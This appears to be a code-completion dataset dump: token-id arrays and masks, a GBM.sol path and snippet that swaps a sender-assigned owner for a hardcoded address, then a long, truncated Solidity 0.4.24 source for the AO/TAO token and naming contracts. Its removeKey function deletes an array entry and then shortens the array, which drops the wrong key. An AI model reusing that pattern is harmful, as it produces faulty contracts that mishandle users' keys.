[ 1, 565, 445, 16255, 12, 11890, 5034, 389, 8949, 13, 3903, 1338, 12003, 288, 203, 3639, 2583, 12, 291, 58, 10100, 16, 315, 1248, 316, 331, 10100, 919, 8863, 203, 203, 3639, 1147, 18, 4626, 5912, 12, 978, 18, 10012, 16, 389, 8949, 1769, 203, 3639, 2845, 273, 2845, 18, 1717, 24899, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xD736d2C76fBa2BA5A217Fd4eDFa1b231deEeB29d/sources/contracts/GBM/GBM.sol
owner = msg.sender;
{ owner = address(0x2a2C412c440Dfb0E7cae46EFF581e3E26aFd1Cd0); }
17,112,941
[ 1, 8443, 273, 1234, 18, 15330, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 3410, 273, 1758, 12, 20, 92, 22, 69, 22, 39, 24, 2138, 71, 6334, 20, 40, 19192, 20, 41, 27, 5353, 73, 8749, 31299, 8204, 21, 73, 23, 41, 5558, 69, 27263, 21, 19728, 20, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract TheAO { address public theAO; address public nameTAOPositionAddress; // Check whether an address is whitelisted and granted access to transact // on behalf of others mapping (address => bool) public whitelist; constructor() public { theAO = msg.sender; } /** * @dev Checks if msg.sender is in whitelist. */ modifier inWhitelist() { require (whitelist[msg.sender] == true); _; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public { require (msg.sender == theAO); require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public { require (msg.sender == theAO); require (_account != address(0)); whitelist[_account] = _whitelist; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /** * @title TAOCurrency */ contract TAOCurrency is TheAO { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals; // To differentiate denomination of TAO Currency uint256 public powerOfTen; uint256 public totalSupply; // This creates an array with all balances // address is the address of nameId, not the eth public address mapping (address => uint256) public balanceOf; // This generates a public event on the blockchain that will notify clients // address is the address of TAO/Name Id, not eth public address event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt // address is the address of TAO/Name Id, not eth public address event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply; // Update total supply balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes powerOfTen = 0; decimals = 0; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Check if `_id` is a Name or a TAO */ modifier isNameOrTAO(address _id) { require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) { _transfer(_from, _to, _value); return true; } /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive * @return true on success */ function mintToken(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) { _mintToken(target, mintedAmount); return true; } /** * * @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /***** INTERNAL METHODS *****/ /** * @dev Send `_value` tokens from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transfer(address _from, address _to, uint256 _value) internal { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive */ function _mintToken(address target, uint256 mintedAmount) internal { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } } /** * @title TAO */ contract TAO { using SafeMath for uint256; address public vaultAddress; string public name; // the name for this TAO address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address // TAO's data string public datHash; string public database; string public keyValue; bytes32 public contentId; /** * 0 = TAO * 1 = Name */ uint8 public typeId; /** * @dev Constructor function */ constructor (string _name, address _originId, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _vaultAddress ) public { name = _name; originId = _originId; datHash = _datHash; database = _database; keyValue = _keyValue; contentId = _contentId; // Creating TAO typeId = 0; vaultAddress = _vaultAddress; } /** * @dev Checks if calling address is Vault contract */ modifier onlyVault { require (msg.sender == vaultAddress); _; } /** * @dev Allows Vault to transfer `_amount` of ETH from this TAO to `_recipient` * @param _recipient The recipient address * @param _amount The amount to transfer * @return true on success */ function transferEth(address _recipient, uint256 _amount) public onlyVault returns (bool) { _recipient.transfer(_amount); return true; } /** * @dev Allows Vault to transfer `_amount` of ERC20 Token from this TAO to `_recipient` * @param _erc20TokenAddress The address of ERC20 Token * @param _recipient The recipient address * @param _amount The amount to transfer * @return true on success */ function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) { TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress); _erc20.transfer(_recipient, _amount); return true; } } /** * @title Position */ contract Position is TheAO { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 4; uint256 constant public MAX_SUPPLY_PER_NAME = 100 * (10 ** 4); uint256 public totalSupply; // Mapping from Name ID to bool value whether or not it has received Position Token mapping (address => bool) public receivedToken; // Mapping from Name ID to its total available balance mapping (address => uint256) public balanceOf; // Mapping from Name's TAO ID to its staked amount mapping (address => mapping(address => uint256)) public taoStakedBalance; // Mapping from TAO ID to its total staked amount mapping (address => uint256) public totalTAOStakedBalance; // This generates a public event on the blockchain that will notify clients event Mint(address indexed nameId, uint256 value); event Stake(address indexed nameId, address indexed taoId, uint256 value); event Unstake(address indexed nameId, address indexed taoId, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply; // Update total supply balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Create `MAX_SUPPLY_PER_NAME` tokens and send it to `_nameId` * @param _nameId Address to receive the tokens * @return true on success */ function mintToken(address _nameId) public inWhitelist returns (bool) { // Make sure _nameId has not received Position Token require (receivedToken[_nameId] == false); receivedToken[_nameId] = true; balanceOf[_nameId] = balanceOf[_nameId].add(MAX_SUPPLY_PER_NAME); totalSupply = totalSupply.add(MAX_SUPPLY_PER_NAME); emit Mint(_nameId, MAX_SUPPLY_PER_NAME); return true; } /** * @dev Get staked balance of `_nameId` * @param _nameId The Name ID to be queried * @return total staked balance */ function stakedBalance(address _nameId) public view returns (uint256) { return MAX_SUPPLY_PER_NAME.sub(balanceOf[_nameId]); } /** * @dev Stake `_value` tokens on `_taoId` from `_nameId` * @param _nameId The Name ID that wants to stake * @param _taoId The TAO ID to stake * @param _value The amount to stake * @return true on success */ function stake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) { require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME); require (balanceOf[_nameId] >= _value); // Check if the targeted balance is enough balanceOf[_nameId] = balanceOf[_nameId].sub(_value); // Subtract from the targeted balance taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].add(_value); // Add to the targeted staked balance totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].add(_value); emit Stake(_nameId, _taoId, _value); return true; } /** * @dev Unstake `_value` tokens from `_nameId`'s `_taoId` * @param _nameId The Name ID that wants to unstake * @param _taoId The TAO ID to unstake * @param _value The amount to unstake * @return true on success */ function unstake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) { require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME); require (taoStakedBalance[_nameId][_taoId] >= _value); // Check if the targeted staked balance is enough require (totalTAOStakedBalance[_taoId] >= _value); // Check if the total targeted staked balance is enough taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].sub(_value); // Subtract from the targeted staked balance totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].sub(_value); balanceOf[_nameId] = balanceOf[_nameId].add(_value); // Add to the targeted balance emit Unstake(_nameId, _taoId, _value); return true; } } /** * @title NameTAOLookup * */ contract NameTAOLookup is TheAO { address public nameFactoryAddress; address public taoFactoryAddress; struct NameTAOInfo { string name; address nameTAOAddress; string parentName; uint256 typeId; // 0 = TAO. 1 = Name } uint256 public internalId; uint256 public totalNames; uint256 public totalTAOs; mapping (uint256 => NameTAOInfo) internal nameTAOInfos; mapping (bytes32 => uint256) internal internalIdLookup; /** * @dev Constructor function */ constructor(address _nameFactoryAddress) public { nameFactoryAddress = _nameFactoryAddress; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the taoFactoryAddress Address * @param _taoFactoryAddress The address of TAOFactory */ function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO { require (_taoFactoryAddress != address(0)); taoFactoryAddress = _taoFactoryAddress; } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a name exist in the list * @param _name The name to be checked * @return true if yes, false otherwise */ function isExist(string _name) public view returns (bool) { bytes32 _nameKey = keccak256(abi.encodePacked(_name)); return (internalIdLookup[_nameKey] > 0); } /** * @dev Add a new NameTAOInfo * @param _name The name of the Name/TAO * @param _nameTAOAddress The address of the Name/TAO * @param _parentName The parent name of the Name/TAO * @param _typeId If TAO = 0. Name = 1 * @return true on success */ function add(string _name, address _nameTAOAddress, string _parentName, uint256 _typeId) public onlyFactory returns (bool) { require (bytes(_name).length > 0); require (_nameTAOAddress != address(0)); require (bytes(_parentName).length > 0); require (_typeId == 0 || _typeId == 1); require (!isExist(_name)); internalId++; bytes32 _nameKey = keccak256(abi.encodePacked(_name)); internalIdLookup[_nameKey] = internalId; NameTAOInfo storage _nameTAOInfo = nameTAOInfos[internalId]; _nameTAOInfo.name = _name; _nameTAOInfo.nameTAOAddress = _nameTAOAddress; _nameTAOInfo.parentName = _parentName; _nameTAOInfo.typeId = _typeId; if (_typeId == 0) { totalTAOs++; } else { totalNames++; } return true; } /** * @dev Get the NameTAOInfo given a name * @param _name The name to be queried * @return the name of Name/TAO * @return the address of Name/TAO * @return the parent name of Name/TAO * @return type ID. 0 = TAO. 1 = Name */ function getByName(string _name) public view returns (string, address, string, uint256) { require (isExist(_name)); bytes32 _nameKey = keccak256(abi.encodePacked(_name)); NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]]; return ( _nameTAOInfo.name, _nameTAOInfo.nameTAOAddress, _nameTAOInfo.parentName, _nameTAOInfo.typeId ); } /** * @dev Get the NameTAOInfo given an ID * @param _internalId The internal ID to be queried * @return the name of Name/TAO * @return the address of Name/TAO * @return the parent name of Name/TAO * @return type ID. 0 = TAO. 1 = Name */ function getByInternalId(uint256 _internalId) public view returns (string, address, string, uint256) { require (nameTAOInfos[_internalId].nameTAOAddress != address(0)); NameTAOInfo memory _nameTAOInfo = nameTAOInfos[_internalId]; return ( _nameTAOInfo.name, _nameTAOInfo.nameTAOAddress, _nameTAOInfo.parentName, _nameTAOInfo.typeId ); } /** * @dev Return the nameTAOAddress given a _name * @param _name The name to be queried * @return the nameTAOAddress of the name */ function getAddressByName(string _name) public view returns (address) { require (isExist(_name)); bytes32 _nameKey = keccak256(abi.encodePacked(_name)); NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]]; return _nameTAOInfo.nameTAOAddress; } } /** * @title NamePublicKey */ contract NamePublicKey { using SafeMath for uint256; address public nameFactoryAddress; NameFactory internal _nameFactory; NameTAOPosition internal _nameTAOPosition; struct PublicKey { bool created; address defaultKey; address[] keys; } // Mapping from nameId to its PublicKey mapping (address => PublicKey) internal publicKeys; // Event to be broadcasted to public when a publicKey is added to a Name event AddKey(address indexed nameId, address publicKey, uint256 nonce); // Event to be broadcasted to public when a publicKey is removed from a Name event RemoveKey(address indexed nameId, address publicKey, uint256 nonce); // Event to be broadcasted to public when a publicKey is set as default for a Name event SetDefaultKey(address indexed nameId, address publicKey, uint256 nonce); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public { nameFactoryAddress = _nameFactoryAddress; _nameFactory = NameFactory(_nameFactoryAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == nameFactoryAddress); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if msg.sender is the current advocate of Name ID */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a Name ID exist in the list of Public Keys * @param _id The ID to be checked * @return true if yes, false otherwise */ function isExist(address _id) public view returns (bool) { return publicKeys[_id].created; } /** * @dev Store the PublicKey info for a Name * @param _id The ID of the Name * @param _defaultKey The default public key for this Name * @return true on success */ function add(address _id, address _defaultKey) public isName(_id) onlyFactory returns (bool) { require (!isExist(_id)); require (_defaultKey != address(0)); PublicKey storage _publicKey = publicKeys[_id]; _publicKey.created = true; _publicKey.defaultKey = _defaultKey; _publicKey.keys.push(_defaultKey); return true; } /** * @dev Get total publicKeys count for a Name * @param _id The ID of the Name * @return total publicKeys count */ function getTotalPublicKeysCount(address _id) public isName(_id) view returns (uint256) { require (isExist(_id)); return publicKeys[_id].keys.length; } /** * @dev Check whether or not a publicKey exist in the list for a Name * @param _id The ID of the Name * @param _key The publicKey to check * @return true if yes. false otherwise */ function isKeyExist(address _id, address _key) isName(_id) public view returns (bool) { require (isExist(_id)); require (_key != address(0)); PublicKey memory _publicKey = publicKeys[_id]; for (uint256 i = 0; i < _publicKey.keys.length; i++) { if (_publicKey.keys[i] == _key) { return true; } } return false; } /** * @dev Add publicKey to list for a Name * @param _id The ID of the Name * @param _key The publicKey to be added */ function addKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) { require (!isKeyExist(_id, _key)); PublicKey storage _publicKey = publicKeys[_id]; _publicKey.keys.push(_key); uint256 _nonce = _nameFactory.incrementNonce(_id); require (_nonce > 0); emit AddKey(_id, _key, _nonce); } /** * @dev Get default public key of a Name * @param _id The ID of the Name * @return the default public key */ function getDefaultKey(address _id) public isName(_id) view returns (address) { require (isExist(_id)); return publicKeys[_id].defaultKey; } /** * @dev Get list of publicKeys of a Name * @param _id The ID of the Name * @param _from The starting index * @param _to The ending index * @return list of publicKeys */ function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[]) { require (isExist(_id)); require (_from >= 0 && _to >= _from); PublicKey memory _publicKey = publicKeys[_id]; require (_publicKey.keys.length > 0); address[] memory _keys = new address[](_to.sub(_from).add(1)); if (_to > _publicKey.keys.length.sub(1)) { _to = _publicKey.keys.length.sub(1); } for (uint256 i = _from; i <= _to; i++) { _keys[i.sub(_from)] = _publicKey.keys[i]; } return _keys; } /** * @dev Remove publicKey from the list * @param _id The ID of the Name * @param _key The publicKey to be removed */ function removeKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) { require (isExist(_id)); require (isKeyExist(_id, _key)); PublicKey storage _publicKey = publicKeys[_id]; // Can't remove default key require (_key != _publicKey.defaultKey); require (_publicKey.keys.length > 1); for (uint256 i = 0; i < _publicKey.keys.length; i++) { if (_publicKey.keys[i] == _key) { delete _publicKey.keys[i]; _publicKey.keys.length--; uint256 _nonce = _nameFactory.incrementNonce(_id); break; } } require (_nonce > 0); emit RemoveKey(_id, _key, _nonce); } /** * @dev Set a publicKey as the default for a Name * @param _id The ID of the Name * @param _defaultKey The defaultKey to be set * @param _signatureV The V part of the signature for this update * @param _signatureR The R part of the signature for this update * @param _signatureS The S part of the signature for this update */ function setDefaultKey(address _id, address _defaultKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) { require (isExist(_id)); require (isKeyExist(_id, _defaultKey)); bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _defaultKey)); require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender); PublicKey storage _publicKey = publicKeys[_id]; _publicKey.defaultKey = _defaultKey; uint256 _nonce = _nameFactory.incrementNonce(_id); require (_nonce > 0); emit SetDefaultKey(_id, _defaultKey, _nonce); } } /** * @title NameFactory * * The purpose of this contract is to allow node to create Name */ contract NameFactory is TheAO { using SafeMath for uint256; address public positionAddress; address public nameTAOVaultAddress; address public nameTAOLookupAddress; address public namePublicKeyAddress; Position internal _position; NameTAOLookup internal _nameTAOLookup; NameTAOPosition internal _nameTAOPosition; NamePublicKey internal _namePublicKey; address[] internal names; // Mapping from eth address to Name ID mapping (address => address) public ethAddressToNameId; // Mapping from Name ID to its nonce mapping (address => uint256) public nonces; // Event to be broadcasted to public when a Name is created event CreateName(address indexed ethAddress, address nameId, uint256 index, string name); /** * @dev Constructor function */ constructor(address _positionAddress, address _nameTAOVaultAddress) public { positionAddress = _positionAddress; nameTAOVaultAddress = _nameTAOVaultAddress; _position = Position(positionAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require 